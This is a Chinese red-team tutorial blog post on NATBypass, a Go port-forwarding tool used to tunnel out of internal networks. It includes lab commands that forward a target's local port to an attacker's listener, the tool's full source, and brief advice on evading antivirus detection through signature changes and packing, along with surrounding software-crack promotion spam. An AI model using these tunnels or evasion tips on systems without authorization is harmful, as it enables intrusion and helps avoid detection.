内网渗透系列:内网隧道之NATBypass[通俗易懂]

内网渗透系列:内网隧道之NATBypass[通俗易懂]本文研究支持多协议双向代理的一个工具,NATBypass

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

前言

本文研究端口转发的一个工具,NATBypass

github:https://github.com/cw1997/NATBypass

一、概述

1、简介

最后更新于2018年,可认为是lcx在golang下的实现

  • 支持跨平台
  • 支持TCP
  • 优势在于可能不会被查杀

2、原理

服务端监听两个本地端口111、222,客户端建立一个端口转发,比如将本地3389转发到服务端的一个端口111,服务端监听的另一个端口222就相当于客户端的3389,即服务端可以将流量通过端口222传输到客户端

3、用法

nb -listen port1 port2 # 同时监听port1端口和port2端口,当两个客户端主动连接上这两个监听端口之后,nb负责这两个端口间的数据转发。
nb -tran port1 ip:port2 # 本地开始监听port1端口,当port1端口上接收到来自客户端的主动连接之后,nb将主动连接ip:port2,并且负责port1端口和ip:port2之间的数据转发
nb -slave ip1:port1 ip2:port2 # 本地开始主动连接ip1:port1主机和ip2:port2主机,当连接成功之后,nb负责这两个主机之间的数据转发
nb -log filedirpath #日志,不要使用包含空格以及各种特殊字符的文件路径,可使用Linux下的tail -f命令将转发数据实时显示出来

二、实践

1、测试场景

攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129

都没有限制TCP连接

2、建立隧道

(1)服务端

监听1111和2222端口

./nb -listen 1111 2222  

在这里插入图片描述

(2)客户端

先开启Apache
在这里插入图片描述

然后将80端口转发至服务端1111端口

./nb -slave 127.0.0.1:80 192.168.10.128:1111

在这里插入图片描述

(3)成功建立

在这里插入图片描述
还可以nc、ssh等,根据端口来确定服务

3、抓包看看

在这里插入图片描述

三、探索

1、源码与分析

思想非常简单,就是调用net库,然后将对应IP和端口的信息对接

package main

import (
	"fmt"
	"io"
	"log"
	"net"
	"os"
	"regexp"
	"strconv"
	"strings"
	"sync"
	"time"
)

const timeout = 5

func main() { 
   
	//log.SetFlags(log.Ldate | log.Lmicroseconds | log.Lshortfile)
	log.SetFlags(log.Ldate | log.Lmicroseconds)

	printWelcome()

	args := os.Args
	argc := len(os.Args)
	if argc <= 2 { 
   
		printHelp()
		os.Exit(0)
	}

	//TODO:support UDP protocol

	/*var logFileError error if argc > 5 && args[4] == "-log" { logPath := args[5] + "/" + time.Now().Format("2006_01_02_15_04_05") // "2006-01-02 15:04:05" logPath += args[1] + "-" + strings.Replace(args[2], ":", "_", -1) + "-" + args[3] + ".log" logPath = strings.Replace(logPath, `\`, "/", -1) logPath = strings.Replace(logPath, "//", "/", -1) logFile, logFileError = os.OpenFile(logPath, os.O_APPEND|os.O_CREATE, 0666) if logFileError != nil { log.Fatalln("[x]", "log file path error.", logFileError.Error()) } log.Println("[√]", "open test log file success. path:", logPath) }*/

	switch args[1] { 
   
	case "-listen":
		if argc < 3 { 
   
			log.Fatalln(`-listen need two arguments, like "nb -listen 1997 2017".`)
		}
		port1 := checkPort(args[2])
		port2 := checkPort(args[3])
		log.Println("[√]", "start to listen port:", port1, "and port:", port2)
		port2port(port1, port2)
		break
	case "-tran":
		if argc < 3 { 
   
			log.Fatalln(`-tran need two arguments, like "nb -tran 1997 192.168.1.2:3389".`)
		}
		port := checkPort(args[2])
		var remoteAddress string
		if checkIp(args[3]) { 
   
			remoteAddress = args[3]
		}
		split := strings.SplitN(remoteAddress, ":", 2)
		log.Println("[√]", "start to transmit address:", remoteAddress, "to address:", split[0]+":"+port)
		port2host(port, remoteAddress)
		break
	case "-slave":
		if argc < 3 { 
   
			log.Fatalln(`-slave need two arguments, like "nb -slave 127.0.0.1:3389 8.8.8.8:1997".`)
		}
		var address1, address2 string
		checkIp(args[2])
		if checkIp(args[2]) { 
   
			address1 = args[2]
		}
		checkIp(args[3])
		if checkIp(args[3]) { 
   
			address2 = args[3]
		}
		log.Println("[√]", "start to connect address:", address1, "and address:", address2)
		host2host(address1, address2)
		break
	default:
		printHelp()
	}
}

// 作者标签,可删掉
func printWelcome() { 
   
	fmt.Println("+----------------------------------------------------------------+")
	fmt.Println("| Welcome to use NATBypass Ver1.0.0 . |")
	fmt.Println("| Code by cw1997 at 2017-10-19 03:59:51 |")
	fmt.Println("| If you have some problem when you use the tool, |")
	fmt.Println("| please submit issue at : https://github.com/cw1997/NATBypass . |")
	fmt.Println("+----------------------------------------------------------------+")
	fmt.Println()
	// sleep one second because the fmt is not thread-safety.
	// if not to do this, fmt.Print will print after the log.Print.
	time.Sleep(time.Second)
}

func printHelp() { 
   
	fmt.Println(`usage: "-listen port1 port2" example: "nb -listen 1997 2017" `)
	fmt.Println(` "-tran port1 ip:port2" example: "nb -tran 1997 192.168.1.2:3389" `)
	fmt.Println(` "-slave ip1:port1 ip2:port2" example: "nb -slave 127.0.0.1:3389 8.8.8.8:1997" `)
	fmt.Println(`============================================================`)
	fmt.Println(`optional argument: "-log logpath" . example: "nb -listen 1997 2017 -log d:/nb" `)
	fmt.Println(`log filename format: Y_m_d_H_i_s-agrs1-args2-args3.log`)
	fmt.Println(`============================================================`)
	fmt.Println(`if you want more help, please read "README.md". `)
}

// 确认IP和端口的输入正确
func checkPort(port string) string { 
   
	PortNum, err := strconv.Atoi(port)
	if err != nil { 
   
		log.Fatalln("[x]", "port should be a number")
	}
	if PortNum < 1 || PortNum > 65535 { 
   
		log.Fatalln("[x]", "port should be a number and the range is [1,65536)")
	}
	return port
}

func checkIp(address string) bool { 
   
	ipAndPort := strings.Split(address, ":")
	if len(ipAndPort) != 2 { 
   
		log.Fatalln("[x]", "address error. should be a string like [ip:port]. ")
	}
	ip := ipAndPort[0]
	port := ipAndPort[1]
	checkPort(port)
	pattern := `^(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])$`
	ok, err := regexp.MatchString(pattern, ip)
	if err != nil || !ok { 
   
		log.Fatalln("[x]", "ip error. ")
	}
	return ok
}


func port2port(port1 string, port2 string) { 
   
	listen1 := start_server("0.0.0.0:" + port1)
	listen2 := start_server("0.0.0.0:" + port2)
	log.Println("[√]", "listen port:", port1, "and", port2, "success. waiting for client...")
	for { 
   
		conn1 := accept(listen1)
		conn2 := accept(listen2)
		if conn1 == nil || conn2 == nil { 
   
			log.Println("[x]", "accept client faild. retry in ", timeout, " seconds. ")
			time.Sleep(timeout * time.Second)
			continue
		}
		forward(conn1, conn2)
	}
}

func port2host(allowPort string, targetAddress string) { 
   
	server := start_server("0.0.0.0:" + allowPort)
	for { 
   
		conn := accept(server)
		if conn == nil { 
   
			continue
		}
		//println(targetAddress)
		go func(targetAddress string) { 
   
			log.Println("[+]", "start connect host:["+targetAddress+"]")
			target, err := net.Dial("tcp", targetAddress)
			if err != nil { 
   
				// temporarily unavailable, don't use fatal.
				log.Println("[x]", "connect target address ["+targetAddress+"] faild. retry in ", timeout, "seconds. ")
				conn.Close()
				log.Println("[←]", "close the connect at local:["+conn.LocalAddr().String()+"] and remote:["+conn.RemoteAddr().String()+"]")
				time.Sleep(timeout * time.Second)
				return
			}
			log.Println("[→]", "connect target address ["+targetAddress+"] success.")
			forward(target, conn)
		}(targetAddress)
	}
}

func host2host(address1, address2 string) { 
   
	for { 
   
		log.Println("[+]", "try to connect host:["+address1+"] and ["+address2+"]")
		var host1, host2 net.Conn
		var err error
		for { 
   
			host1, err = net.Dial("tcp", address1)
			if err == nil { 
   
				log.Println("[→]", "connect ["+address1+"] success.")
				break
			} else { 
   
				log.Println("[x]", "connect target address ["+address1+"] faild. retry in ", timeout, " seconds. ")
				time.Sleep(timeout * time.Second)
			}
		}
		for { 
   
			host2, err = net.Dial("tcp", address2)
			if err == nil { 
   
				log.Println("[→]", "connect ["+address2+"] success.")
				break
			} else { 
   
				log.Println("[x]", "connect target address ["+address2+"] faild. retry in ", timeout, " seconds. ")
				time.Sleep(timeout * time.Second)
			}
		}
		forward(host1, host2)
	}
}

func start_server(address string) net.Listener { 
   
	log.Println("[+]", "try to start server on:["+address+"]")
	server, err := net.Listen("tcp", address)
	if err != nil { 
   
		log.Fatalln("[x]", "listen address ["+address+"] faild.")
	}
	log.Println("[√]", "start listen at address:["+address+"]")
	return server
	/*defer server.Close() for { conn, err := server.Accept() log.Println("accept a new client. remote address:[" + conn.RemoteAddr().String() + "], local address:[" + conn.LocalAddr().String() + "]") if err != nil { log.Println("accept a new client faild.", err.Error()) continue } //go recvConnMsg(conn) }*/
}

// 传输数据
func accept(listener net.Listener) net.Conn { 
   
	conn, err := listener.Accept()
	if err != nil { 
   
		log.Println("[x]", "accept connect ["+conn.RemoteAddr().String()+"] faild.", err.Error())
		return nil
	}
	log.Println("[√]", "accept a new client. remote address:["+conn.RemoteAddr().String()+"], local address:["+conn.LocalAddr().String()+"]")
	return conn
}

func forward(conn1 net.Conn, conn2 net.Conn) { 
   
	log.Printf("[+] start transmit. [%s],[%s] <-> [%s],[%s] \n", conn1.LocalAddr().String(), conn1.RemoteAddr().String(), conn2.LocalAddr().String(), conn2.RemoteAddr().String())
	var wg sync.WaitGroup
	// wait tow goroutines
	wg.Add(2)
	go connCopy(conn1, conn2, &wg)
	go connCopy(conn2, conn1, &wg)
	//blocking when the wg is locked
	wg.Wait()
}

// 记录log
func connCopy(conn1 net.Conn, conn2 net.Conn, wg *sync.WaitGroup) { 
   
	//TODO:log, record the data from conn1 and conn2.
	logFile := openLog(conn1.LocalAddr().String(), conn1.RemoteAddr().String(), conn2.LocalAddr().String(), conn2.RemoteAddr().String())
	if logFile != nil { 
   
		w := io.MultiWriter(conn1, logFile)
		io.Copy(w, conn2)
	} else { 
   
		io.Copy(conn1, conn2)
	}
	conn1.Close()
	log.Println("[←]", "close the connect at local:["+conn1.LocalAddr().String()+"] and remote:["+conn1.RemoteAddr().String()+"]")
	//conn2.Close()
	//log.Println("[←]", "close the connect at local:["+conn2.LocalAddr().String()+"] and remote:["+conn2.RemoteAddr().String()+"]")
	wg.Done()
}
func openLog(address1, address2, address3, address4 string) *os.File { 
   
	args := os.Args
	argc := len(os.Args)
	var logFileError error
	var logFile *os.File
	if argc > 5 && args[4] == "-log" { 
   
		address1 = strings.Replace(address1, ":", "_", -1)
		address2 = strings.Replace(address2, ":", "_", -1)
		address3 = strings.Replace(address3, ":", "_", -1)
		address4 = strings.Replace(address4, ":", "_", -1)
		timeStr := time.Now().Format("2006_01_02_15_04_05") // "2006-01-02 15:04:05"
		logPath := args[5] + "/" + timeStr + args[1] + "-" + address1 + "_" + address2 + "-" + address3 + "_" + address4 + ".log"
		logPath = strings.Replace(logPath, `\`, "/", -1)
		logPath = strings.Replace(logPath, "//", "/", -1)
		logFile, logFileError = os.OpenFile(logPath, os.O_APPEND|os.O_CREATE, 0666)
		if logFileError != nil { 
   
			log.Fatalln("[x]", "log file path error.", logFileError.Error())
		}
		log.Println("[√]", "open test log file success. path:", logPath)
	}
	return logFile
}

2、检测与绕过

(1)特征字符串和特征码

命令和log里的特征字符串可以作为检测特征
然后是代码里的特征码,类似lcx的查杀会定位hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)transmitdata, (LPVOID)&sock, 0, &dwThreadID);

绕过方法:修改掉相应的特征

(2)端口控制

这类端口转发的工具,如果端口限制死就失去作用了

绕过方法:无

(3)进程和库调用

通过终端的进程链控制和第三方库的调用情况在做检测

绕过方法:白进程利用,尽可能不调用库,加壳,主要是木马免杀那套

结语

就是端口转发,只不过可能因为用Go写,又比较新,所以查杀方面还没跟上

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/180493.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • webstorm2021.11.4激活码[最新免费获取]

    (webstorm2021.11.4激活码)好多小伙伴总是说激活码老是失效,太麻烦,关注/收藏全栈君太难教程,2021永久激活的方法等着你。IntelliJ2021最新激活注册码,破解教程可免费永久激活,亲测有效,下面是详细链接哦~https://javaforall.cn/100143.htmlF6EG2ZUBVX-eyJsaWNlbnNlSWQi…

  • Spring Bean生命周期总结「建议收藏」

    Spring Bean生命周期总结「建议收藏」1、简要说明1)本文基于spring5.1.7版本,采用ApplicationContext获取bean对象。2)BeanFactory和ApplicationContext对于bean后置处理器还有所不同,需要注意,ApplicationContext会自动检测在配置文件中实现了BeanPostProcessor接口的所有bean,并把它们注册为后置处理器,然后在容器创建bean的适当时候调……

  • 基于单片机的电子时钟设计(keil+protues仿真,含代码及原理图)

    基于单片机的电子时钟设计(keil+protues仿真,含代码及原理图)  本学期单片机课程要求做课程设计,我选取的课题如下:基于单片机的电子时钟设计,要求:(1)实时显示当前时间;(2)能够对时间进行设置;(3)包括年月日,小时,分钟,秒.(4)整点提醒功能.经过一周的时间已实现上述功能,故在此分享一下;所选用器材单片机最小系统(这就不用细说了吧,这里我选用AT89C51),排阻,四个按钮开关,8位共阴数码管,蜂鸣器;prot……

  • keil4 进行 S3C2440裸机开发

    keil4 进行 S3C2440裸机开发用Keil-MDK开发TQ2440裸机程序入门教程——LED流水灯实现觉得此编文章很详实,故转载之,来自http://www.amobbs.com/thread-5281512-1-1.html开发板也差不多买了半年了,以前照着教程用的是软件是ADS,在win7下老是崩溃,后来才知道ADS早就不提供支持了,ADS的公司怎样怎样了…(此处省略300..)然后我就捣鼓

  • vue.js单页应用_vue嵌入第三方页面

    vue.js单页应用_vue嵌入第三方页面今天我们看看VUE怎么开发单页面应用,VUE提供了脚手架vue-cli,通过这个可以很轻松的创建VUE单页面应用,1.创建VUE项目  首先确保电脑上安装了NODE.JS, 在创建项目的目录下,打开CMD命令行,执行脚手架命令,安装脚手架cli. #全局安装vue-cli,一定要在全局模式下安装vue-cli,否则无法使用vue命令npminstall-gvue…

    2022年10月13日
  • 用惯了Task,你应该也需要了解它的内部调度机制TaskScheduler

    用惯了Task,你应该也需要了解它的内部调度机制TaskScheduler平时我们在用多线程开发的时候少不了Task,确实task给我们带来了巨大的编程效率,在Task底层有一个TaskScheduler,它决定了task该如何被调度,而在.netframework中有

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号